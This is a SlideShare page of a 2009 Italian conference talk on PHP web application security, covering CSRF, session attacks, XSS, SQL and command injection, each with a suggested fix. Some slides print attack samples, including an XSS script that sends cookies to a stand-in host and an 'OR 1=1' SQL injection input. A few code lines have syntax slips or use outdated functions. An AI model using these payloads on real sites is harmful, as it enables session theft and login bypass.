SlideShare a Scribd company logo
1 of 20
Download to read offline
PHP e  sicurezza Roma, 19 marzo 2009 Massimiliano Arione
Sull'autore ,[object Object],[object Object],[object Object],PHP e  sicurezza -  Massimiliano Arione
La sicurezza ,[object Object],[object Object],[object Object],[object Object],PHP e  sicurezza -  Massimiliano Arione
Le due strategie fondamentali ,[object Object],[object Object],PHP e  sicurezza -  Massimiliano Arione
Input: che cos'è? ,[object Object],[object Object],[object Object],PHP e  sicurezza -  Massimiliano Arione
Filtri basilari di una form - 1 <form method=”post”> Username: <input type=”text” name=”username” /> Password: <input type=”password” name=”password” /> Country: <select name=”country”> <option value=”IT”>Italy</option> <option value=”FR”>France</option> <option value=”DE”>Germany</option> <!-- etc... --> </select> <input type=”submit” /> </form> PHP e  sicurezza -  Massimiliano Arione
Filtri basilari di una form - 2 $clean = array(); if (ctype_alpha($_POST['username'])) { $clean['username'] = $_POST['username']; } if (ctype_alnum($_POST['password'])) { $clean['password'] = $_POST['password']; } if (in_array($_POST['country'], $countries) { $clean['country'] = $_POST['country']; } PHP e  sicurezza -  Massimiliano Arione
Cross-Site Request Forgery (CSRF) Sfrutta la fiducia dell'applicazione nell'utente <form action=”checkout” method=”get”> <input type=”text” name=”isbn” /> <input type=”text” name=”qty” /> <input type=”submit” value=”checkout” /> </form> <img src=”checkout.php?isbn=0973862149&qty=2” /> PHP e  sicurezza -  Massimiliano Arione
Protezione da CSRF $token = md5(uniqid(rand(), true)); $_SESSION['token'] = $token; <form action=”checkout” method=”get”> <!-- etc... -> <input type=”hidden” name=”token” value=”<?php echo $token ?>” /> </form> if (isset($_SESSION['token']) && isset($_GET['token']) && $_SESSION['token'] == $_GET['token']) { // etc... } PHP e  sicurezza -  Massimiliano Arione
Session fixation L'utente viene indotto a cliccare su un link con id di sessione preconfezionata: <a href=”index.php?PHPSESSID=12345”>click</a> soluzione: session_start(); if (authenticate()) { session_regenerate_id(); } PHP e  sicurezza -  Massimiliano Arione
Session hijacking L'id di sessione dell'utente viene in qualche modo indovinata Soluzione: $_SESSION['ua'] = $_SERVER['HTTP_USER_AGENT']; if ($_SESSION['ua'] != $_SERVER['HTTP_USER_AGENT']) { exit; } PHP e  sicurezza -  Massimiliano Arione
Remote code injection Un utente invia come parametro una URL esterna index.php?section=news include 'includes/' . $_GET['section'] . '.php'; Soluzione: $clean['section'] = in_array($_GET['section'], $sections) ? $_GET['section'] : 'home'; include 'includes/' . $clean['section'] . '.php'; PHP e  sicurezza -  Massimiliano Arione
URL guessing Un utente sostituisce l'id che vede nella URL con uno diverso message.php?id=42 Soluzione: $message = getMessage($clean['id']); if ($message->getUserId() != $_SESSION['user_id']) { exit; } PHP e  sicurezza -  Massimiliano Arione
Output: che cos'è? ,[object Object],[object Object],[object Object],PHP e  sicurezza -  Massimiliano Arione
Cross-Site Scripting (XSS) Sfrutta la fiducia dell'utente nell'applicazione <script>document.location = 'http://evilsite.com?cookies=' + document.cookie;</script> Stored o unstored Soluzione: htmlentities() PHP e  sicurezza -  Massimiliano Arione
SQL injection $sql = 'SELECT * FROM user WHERE username=apos;' . $_POST['username'] . 'apos; AND password=apos;' . $_POST['password'] . 'apos;'; $_POST['username'] = 'apos; OR 1=1 --'; Soluzioni: mysql_escape_string() PDO prepared statements: $stmt->bindParam(':username', $clean['username'];
Command injection $files = passthru('grep -lr ' . $_POST['str'] . ' *'); Soluzione: escapeshellcmd() escapeshellarg() PHP e  sicurezza -  Massimiliano Arione
Hosting condivisi ,[object Object],[object Object],[object Object],[object Object],PHP e  sicurezza -  Massimiliano Arione
Tips ,[object Object],[object Object],[object Object],PHP e  sicurezza -  Massimiliano Arione
Domande? ? PHP e  sicurezza -  Massimiliano Arione

More Related Content

Similar to Phpcon2009 Php e Sicurezza

Web Performance Optimization
Web Performance OptimizationWeb Performance Optimization
Web Performance OptimizationAlessandro Martin
 
Enrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPEnrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPFrancesco Fullone
 
Sviluppare estensioni per google chrome
Sviluppare estensioni per google chromeSviluppare estensioni per google chrome
Sviluppare estensioni per google chromeMarco Vito Moscaritolo
 
Non Conventional Android Programming (Italiano)
Non Conventional Android Programming (Italiano)Non Conventional Android Programming (Italiano)
Non Conventional Android Programming (Italiano)Davide Cerbo
 
Portarsi A Casa Uno Stipendo Con Wordpress
Portarsi A Casa Uno Stipendo Con WordpressPortarsi A Casa Uno Stipendo Con Wordpress
Portarsi A Casa Uno Stipendo Con WordpressLuca Mercatanti
 
Il Web del Futuro: Web Semantico + OpenID = Autenticazione Sicura e Web of Trust
Il Web del Futuro: Web Semantico + OpenID = Autenticazione Sicura e Web of TrustIl Web del Futuro: Web Semantico + OpenID = Autenticazione Sicura e Web of Trust
Il Web del Futuro: Web Semantico + OpenID = Autenticazione Sicura e Web of TrustSimone Onofri
 
WordCamp Bologna 2018 - Paolo Dolci
WordCamp Bologna 2018 - Paolo DolciWordCamp Bologna 2018 - Paolo Dolci
WordCamp Bologna 2018 - Paolo DolciWpSEO.it
 
Web Application Insecurity L D2007
Web Application Insecurity  L D2007Web Application Insecurity  L D2007
Web Application Insecurity L D2007jekil
 
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaHackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaSimone Onofri
 
Tecniche e Best Practice nella costruzione di Form accessibili per il Web
Tecniche e Best Practice nella costruzione di Form accessibili per il WebTecniche e Best Practice nella costruzione di Form accessibili per il Web
Tecniche e Best Practice nella costruzione di Form accessibili per il WebRoberto Zucchetto
 
jQuery e i suoi plugin
jQuery e i suoi pluginjQuery e i suoi plugin
jQuery e i suoi pluginPasquale Puzio
 
HackInBo2018 - Security @ Hyperscale
HackInBo2018 - Security @ HyperscaleHackInBo2018 - Security @ Hyperscale
HackInBo2018 - Security @ HyperscaleClaudio Criscione
 
Introduzione a jQuery
Introduzione a jQueryIntroduzione a jQuery
Introduzione a jQuerySandro Marcon
 
PHP Template Engine (introduzione)
PHP Template Engine (introduzione)PHP Template Engine (introduzione)
PHP Template Engine (introduzione)Asmir Mustafic
 
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Stefano Bianchini
 

Similar to Phpcon2009 Php e Sicurezza (20)

Web Performance Optimization
Web Performance OptimizationWeb Performance Optimization
Web Performance Optimization
 
Owasp parte3
Owasp parte3Owasp parte3
Owasp parte3
 
Enrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPEnrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHP
 
Sviluppare estensioni per google chrome
Sviluppare estensioni per google chromeSviluppare estensioni per google chrome
Sviluppare estensioni per google chrome
 
Non Conventional Android Programming (Italiano)
Non Conventional Android Programming (Italiano)Non Conventional Android Programming (Italiano)
Non Conventional Android Programming (Italiano)
 
Portarsi A Casa Uno Stipendo Con Wordpress
Portarsi A Casa Uno Stipendo Con WordpressPortarsi A Casa Uno Stipendo Con Wordpress
Portarsi A Casa Uno Stipendo Con Wordpress
 
Il Web del Futuro: Web Semantico + OpenID = Autenticazione Sicura e Web of Trust
Il Web del Futuro: Web Semantico + OpenID = Autenticazione Sicura e Web of TrustIl Web del Futuro: Web Semantico + OpenID = Autenticazione Sicura e Web of Trust
Il Web del Futuro: Web Semantico + OpenID = Autenticazione Sicura e Web of Trust
 
WordCamp Bologna 2018 - Paolo Dolci
WordCamp Bologna 2018 - Paolo DolciWordCamp Bologna 2018 - Paolo Dolci
WordCamp Bologna 2018 - Paolo Dolci
 
Web Application Insecurity L D2007
Web Application Insecurity  L D2007Web Application Insecurity  L D2007
Web Application Insecurity L D2007
 
Corso di php01
Corso di php01Corso di php01
Corso di php01
 
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesaHackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
Hackers vs Developers - Cross Site Scripting (XSS) Attacco e difesa
 
Form e HTML basi
Form e HTML basiForm e HTML basi
Form e HTML basi
 
Tecniche e Best Practice nella costruzione di Form accessibili per il Web
Tecniche e Best Practice nella costruzione di Form accessibili per il WebTecniche e Best Practice nella costruzione di Form accessibili per il Web
Tecniche e Best Practice nella costruzione di Form accessibili per il Web
 
jQuery e i suoi plugin
jQuery e i suoi pluginjQuery e i suoi plugin
jQuery e i suoi plugin
 
HackInBo2018 - Security @ Hyperscale
HackInBo2018 - Security @ HyperscaleHackInBo2018 - Security @ Hyperscale
HackInBo2018 - Security @ Hyperscale
 
Introduzione a jQuery
Introduzione a jQueryIntroduzione a jQuery
Introduzione a jQuery
 
PHP Template Engine (introduzione)
PHP Template Engine (introduzione)PHP Template Engine (introduzione)
PHP Template Engine (introduzione)
 
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
Sicurezza Php (giugno 2010) Stefano Bianchini presso Ce.Se.N.A.
 
Yagwto
YagwtoYagwto
Yagwto
 
Js intro
Js introJs intro
Js intro
 

More from Massimiliano Arione

Typed models pug roma febbraio 2020
Typed models   pug roma febbraio 2020Typed models   pug roma febbraio 2020
Typed models pug roma febbraio 2020Massimiliano Arione
 
Disinstallare fos user bundle e vivere felici
Disinstallare fos user bundle e vivere feliciDisinstallare fos user bundle e vivere felici
Disinstallare fos user bundle e vivere feliciMassimiliano Arione
 
Scrivere e leggere log con elastic
Scrivere e leggere log con elasticScrivere e leggere log con elastic
Scrivere e leggere log con elasticMassimiliano Arione
 
Managing frontend libs in your Symfony project
Managing frontend libs in your Symfony projectManaging frontend libs in your Symfony project
Managing frontend libs in your Symfony projectMassimiliano Arione
 
Managing frontend libs in your php project
Managing frontend libs in your php projectManaging frontend libs in your php project
Managing frontend libs in your php projectMassimiliano Arione
 
Gestire librerie di frontend in php
Gestire librerie di frontend in phpGestire librerie di frontend in php
Gestire librerie di frontend in phpMassimiliano Arione
 
PHP, non lo stesso vecchio linguaggio
PHP, non lo stesso vecchio linguaggioPHP, non lo stesso vecchio linguaggio
PHP, non lo stesso vecchio linguaggioMassimiliano Arione
 
Gestione delle dipendenze con Composer
Gestione delle dipendenze con ComposerGestione delle dipendenze con Composer
Gestione delle dipendenze con ComposerMassimiliano Arione
 
Symfony: un framework per il web
Symfony: un framework per il webSymfony: un framework per il web
Symfony: un framework per il webMassimiliano Arione
 

More from Massimiliano Arione (20)

Typed models pug roma febbraio 2020
Typed models   pug roma febbraio 2020Typed models   pug roma febbraio 2020
Typed models pug roma febbraio 2020
 
Pipelines!
Pipelines! Pipelines!
Pipelines!
 
Il nostro amico Stan
Il nostro amico Stan   Il nostro amico Stan
Il nostro amico Stan
 
PSR7 - interoperabilità HTTP
PSR7 - interoperabilità HTTPPSR7 - interoperabilità HTTP
PSR7 - interoperabilità HTTP
 
Disinstallare fos user bundle e vivere felici
Disinstallare fos user bundle e vivere feliciDisinstallare fos user bundle e vivere felici
Disinstallare fos user bundle e vivere felici
 
MAGA - PUG Roma giugno 2017
MAGA - PUG Roma giugno 2017MAGA - PUG Roma giugno 2017
MAGA - PUG Roma giugno 2017
 
PHP7 e Rich Domain Model
PHP7 e Rich Domain ModelPHP7 e Rich Domain Model
PHP7 e Rich Domain Model
 
PHP on the desktop
PHP on the desktopPHP on the desktop
PHP on the desktop
 
Scrivere e leggere log con elastic
Scrivere e leggere log con elasticScrivere e leggere log con elastic
Scrivere e leggere log con elastic
 
The metrics
The metricsThe metrics
The metrics
 
Managing frontend libs in your Symfony project
Managing frontend libs in your Symfony projectManaging frontend libs in your Symfony project
Managing frontend libs in your Symfony project
 
Translating symfony docs
Translating symfony docsTranslating symfony docs
Translating symfony docs
 
Managing frontend libs in your php project
Managing frontend libs in your php projectManaging frontend libs in your php project
Managing frontend libs in your php project
 
Gestire librerie di frontend in php
Gestire librerie di frontend in phpGestire librerie di frontend in php
Gestire librerie di frontend in php
 
PHP, non lo stesso vecchio linguaggio
PHP, non lo stesso vecchio linguaggioPHP, non lo stesso vecchio linguaggio
PHP, non lo stesso vecchio linguaggio
 
Gestione delle dipendenze con Composer
Gestione delle dipendenze con ComposerGestione delle dipendenze con Composer
Gestione delle dipendenze con Composer
 
Migrare da symfony 1 a Symfony2
 Migrare da symfony 1 a Symfony2  Migrare da symfony 1 a Symfony2
Migrare da symfony 1 a Symfony2
 
Case study OmniAuto.it
Case study OmniAuto.itCase study OmniAuto.it
Case study OmniAuto.it
 
Symfony: un framework per il web
Symfony: un framework per il webSymfony: un framework per il web
Symfony: un framework per il web
 
Paypal + symfony
Paypal + symfonyPaypal + symfony
Paypal + symfony
 

Phpcon2009 Php e Sicurezza

  • 1. PHP e sicurezza Roma, 19 marzo 2009 Massimiliano Arione
  • 2.
  • 3.
  • 4.
  • 5.
  • 6. Filtri basilari di una form - 1 <form method=”post”> Username: <input type=”text” name=”username” /> Password: <input type=”password” name=”password” /> Country: <select name=”country”> <option value=”IT”>Italy</option> <option value=”FR”>France</option> <option value=”DE”>Germany</option> <!-- etc... --> </select> <input type=”submit” /> </form> PHP e sicurezza - Massimiliano Arione
  • 7. Filtri basilari di una form - 2 $clean = array(); if (ctype_alpha($_POST['username'])) { $clean['username'] = $_POST['username']; } if (ctype_alnum($_POST['password'])) { $clean['password'] = $_POST['password']; } if (in_array($_POST['country'], $countries) { $clean['country'] = $_POST['country']; } PHP e sicurezza - Massimiliano Arione
  • 8. Cross-Site Request Forgery (CSRF) Sfrutta la fiducia dell'applicazione nell'utente <form action=”checkout” method=”get”> <input type=”text” name=”isbn” /> <input type=”text” name=”qty” /> <input type=”submit” value=”checkout” /> </form> <img src=”checkout.php?isbn=0973862149&qty=2” /> PHP e sicurezza - Massimiliano Arione
  • 9. Protezione da CSRF $token = md5(uniqid(rand(), true)); $_SESSION['token'] = $token; <form action=”checkout” method=”get”> <!-- etc... -> <input type=”hidden” name=”token” value=”<?php echo $token ?>” /> </form> if (isset($_SESSION['token']) && isset($_GET['token']) && $_SESSION['token'] == $_GET['token']) { // etc... } PHP e sicurezza - Massimiliano Arione
  • 10. Session fixation L'utente viene indotto a cliccare su un link con id di sessione preconfezionata: <a href=”index.php?PHPSESSID=12345”>click</a> soluzione: session_start(); if (authenticate()) { session_regenerate_id(); } PHP e sicurezza - Massimiliano Arione
  • 11. Session hijacking L'id di sessione dell'utente viene in qualche modo indovinata Soluzione: $_SESSION['ua'] = $_SERVER['HTTP_USER_AGENT']; if ($_SESSION['ua'] != $_SERVER['HTTP_USER_AGENT']) { exit; } PHP e sicurezza - Massimiliano Arione
  • 12. Remote code injection Un utente invia come parametro una URL esterna index.php?section=news include 'includes/' . $_GET['section'] . '.php'; Soluzione: $clean['section'] = in_array($_GET['section'], $sections) ? $_GET['section'] : 'home'; include 'includes/' . $clean['section'] . '.php'; PHP e sicurezza - Massimiliano Arione
  • 13. URL guessing Un utente sostituisce l'id che vede nella URL con uno diverso message.php?id=42 Soluzione: $message = getMessage($clean['id']); if ($message->getUserId() != $_SESSION['user_id']) { exit; } PHP e sicurezza - Massimiliano Arione
  • 14.
  • 15. Cross-Site Scripting (XSS) Sfrutta la fiducia dell'utente nell'applicazione <script>document.location = 'http://evilsite.com?cookies=' + document.cookie;</script> Stored o unstored Soluzione: htmlentities() PHP e sicurezza - Massimiliano Arione
  • 16. SQL injection $sql = 'SELECT * FROM user WHERE username=apos;' . $_POST['username'] . 'apos; AND password=apos;' . $_POST['password'] . 'apos;'; $_POST['username'] = 'apos; OR 1=1 --'; Soluzioni: mysql_escape_string() PDO prepared statements: $stmt->bindParam(':username', $clean['username'];
  • 17. Command injection $files = passthru('grep -lr ' . $_POST['str'] . ' *'); Soluzione: escapeshellcmd() escapeshellarg() PHP e sicurezza - Massimiliano Arione
  • 18.
  • 19.
  • 20. Domande? ? PHP e sicurezza - Massimiliano Arione